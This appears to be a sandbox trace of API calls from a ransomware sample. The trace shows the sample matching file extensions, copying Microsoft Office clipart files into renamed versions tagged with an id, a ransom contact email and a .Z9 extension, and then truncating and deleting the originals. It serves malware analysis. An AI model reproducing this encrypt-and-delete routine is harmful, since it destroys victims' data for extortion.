	[0177.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.248] lstrlenW (lpString=".1cd") returned 4
	[0177.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.248] lstrlenW (lpString=".jpg") returned 4
	[0177.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.249] lstrlenW (lpString=".doc") returned 4
	[0177.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.249] lstrlenW (lpString=".docx") returned 5
	[0177.249] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.249] lstrlenW (lpString=".pdf") returned 4
	[0177.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.249] lstrlenW (lpString=".xls") returned 4
	[0177.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.249] lstrlenW (lpString=".xlsx") returned 5
	[0177.249] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.249] lstrlenW (lpString=".ppt") returned 4
	[0177.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.249] lstrlenW (lpString=".zip") returned 4
	[0177.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.249] lstrlenW (lpString=".rar") returned 4
	[0177.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.249] lstrlenW (lpString=".bz2") returned 4
	[0177.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.249] lstrlenW (lpString=".7z") returned 3
	[0177.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.249] lstrlenW (lpString=".dbf") returned 4
	[0177.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.250] lstrlenW (lpString=".1cd") returned 4
	[0177.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.250] lstrlenW (lpString=".jpg") returned 4
	[0177.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.250] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0177.250] lstrlenW (lpString="J0107314.WMF") returned 12
	[0177.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.255] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=10852) returned 1
	[0177.255] CloseHandle (hObject=0x54c) returned 1
	[0177.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220
	[0177.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.256] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.256] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.258] GetLastError () returned 0x0
	[0177.258] ReadFile (in: hFile=0x54c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x2a64, lpOverlapped=0x0) returned 1
	[0177.260] WriteFile (in: hFile=0x36c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x2a70, lpOverlapped=0x0) returned 1
	[0177.262] ReadFile (in: hFile=0x54c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.263] WriteFile (in: hFile=0x36c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.263] SetEndOfFile (hFile=0x36c) returned 1
	[0177.263] CloseHandle (hObject=0x36c) returned 1
	[0177.263] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.263] SetEndOfFile (hFile=0x54c) returned 1
	[0177.268] CloseHandle (hObject=0x54c) returned 1
	[0177.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1
	[0177.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.270] lstrlenW (lpString=".doc") returned 4
	[0177.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.270] lstrlenW (lpString=".docx") returned 5
	[0177.270] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0177.270] lstrlenW (lpString=".pdf") returned 4
	[0177.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.270] lstrlenW (lpString=".xls") returned 4
	[0177.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.270] lstrlenW (lpString=".xlsx") returned 5
	[0177.270] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0177.270] lstrlenW (lpString=".ppt") returned 4
	[0177.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.270] lstrlenW (lpString=".zip") returned 4
	[0177.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.270] lstrlenW (lpString=".rar") returned 4
	[0177.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.566] lstrlenW (lpString=".bz2") returned 4
	[0177.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.567] lstrlenW (lpString=".7z") returned 3
	[0177.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.567] lstrlenW (lpString=".dbf") returned 4
	[0177.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.567] lstrlenW (lpString=".1cd") returned 4
	[0177.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.567] lstrlenW (lpString=".jpg") returned 4
	[0177.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.567] lstrlenW (lpString=".doc") returned 4
	[0177.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.567] lstrlenW (lpString=".docx") returned 5
	[0177.567] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0177.567] lstrlenW (lpString=".pdf") returned 4
	[0177.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.568] lstrlenW (lpString=".xls") returned 4
	[0177.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.568] lstrlenW (lpString=".xlsx") returned 5
	[0177.568] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0177.568] lstrlenW (lpString=".ppt") returned 4
	[0177.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.568] lstrlenW (lpString=".zip") returned 4
	[0177.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.568] lstrlenW (lpString=".rar") returned 4
	[0177.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.568] lstrlenW (lpString=".bz2") returned 4
	[0177.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.568] lstrlenW (lpString=".7z") returned 3
	[0177.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.568] lstrlenW (lpString=".dbf") returned 4
	[0177.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.568] lstrlenW (lpString=".1cd") returned 4
	[0177.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68
	[0177.569] lstrlenW (lpString=".jpg") returned 4
	[0177.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.569] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0177.569] lstrlenW (lpString="J0107344.WMF") returned 12
	[0177.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.901] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=5076) returned 1
	[0177.901] CloseHandle (hObject=0x36c) returned 1
	[0177.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220
	[0177.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.902] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.902] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.906] GetLastError () returned 0x0
	[0177.906] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x13d4, lpOverlapped=0x0) returned 1
	[0177.908] WriteFile (in: hFile=0x4a8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e0, lpOverlapped=0x0) returned 1
	[0177.910] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.910] WriteFile (in: hFile=0x4a8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.911] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.911] CloseHandle (hObject=0x4a8) returned 1
	[0177.911] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.911] SetEndOfFile (hFile=0x36c) returned 1
	[0177.916] CloseHandle (hObject=0x36c) returned 1
	[0177.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1
	[0177.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.918] lstrlenW (lpString=".doc") returned 4
	[0177.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.918] lstrlenW (lpString=".docx") returned 5
	[0177.919] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0177.919] lstrlenW (lpString=".pdf") returned 4
	[0177.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.919] lstrlenW (lpString=".xls") returned 4
	[0177.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.919] lstrlenW (lpString=".xlsx") returned 5
	[0177.919] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0177.919] lstrlenW (lpString=".ppt") returned 4
	[0177.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.919] lstrlenW (lpString=".zip") returned 4
	[0177.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.919] lstrlenW (lpString=".rar") returned 4
	[0177.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.919] lstrlenW (lpString=".bz2") returned 4
	[0177.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.919] lstrlenW (lpString=".7z") returned 3
	[0177.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.919] lstrlenW (lpString=".dbf") returned 4
	[0177.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.920] lstrlenW (lpString=".1cd") returned 4
	[0177.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.920] lstrlenW (lpString=".jpg") returned 4
	[0177.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.920] lstrlenW (lpString=".doc") returned 4
	[0177.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.920] lstrlenW (lpString=".docx") returned 5
	[0177.920] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0177.920] lstrlenW (lpString=".pdf") returned 4
	[0177.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.920] lstrlenW (lpString=".xls") returned 4
	[0177.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.920] lstrlenW (lpString=".xlsx") returned 5
	[0177.920] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0177.921] lstrlenW (lpString=".ppt") returned 4
	[0177.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.921] lstrlenW (lpString=".zip") returned 4
	[0177.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.921] lstrlenW (lpString=".rar") returned 4
	[0177.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.921] lstrlenW (lpString=".bz2") returned 4
	[0177.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.921] lstrlenW (lpString=".7z") returned 3
	[0177.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.921] lstrlenW (lpString=".dbf") returned 4
	[0177.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.921] lstrlenW (lpString=".1cd") returned 4
	[0177.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0177.921] lstrlenW (lpString=".jpg") returned 4
	[0177.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.922] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0177.922] lstrlenW (lpString="J0107350.WMF") returned 12
	[0177.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.923] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=23672) returned 1
	[0177.924] CloseHandle (hObject=0x36c) returned 1
	[0177.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220
	[0177.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.924] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.925] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.927] GetLastError () returned 0x0
	[0177.927] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x5c78, lpOverlapped=0x0) returned 1
	[0177.930] WriteFile (in: hFile=0x4a8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x5c80, lpOverlapped=0x0) returned 1
	[0177.932] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.932] WriteFile (in: hFile=0x4a8, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.933] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.933] CloseHandle (hObject=0x4a8) returned 1
	[0177.933] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.933] SetEndOfFile (hFile=0x36c) returned 1
	[0178.376] CloseHandle (hObject=0x36c) returned 1
	[0178.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1
	[0178.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.378] lstrlenW (lpString=".doc") returned 4
	[0178.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.378] lstrlenW (lpString=".docx") returned 5
	[0178.378] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0178.378] lstrlenW (lpString=".pdf") returned 4
	[0178.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.378] lstrlenW (lpString=".xls") returned 4
	[0178.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.379] lstrlenW (lpString=".xlsx") returned 5
	[0178.379] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0178.379] lstrlenW (lpString=".ppt") returned 4
	[0178.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.379] lstrlenW (lpString=".zip") returned 4
	[0178.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.379] lstrlenW (lpString=".rar") returned 4
	[0178.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.379] lstrlenW (lpString=".bz2") returned 4
	[0178.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.379] lstrlenW (lpString=".7z") returned 3
	[0178.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.379] lstrlenW (lpString=".dbf") returned 4
	[0178.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
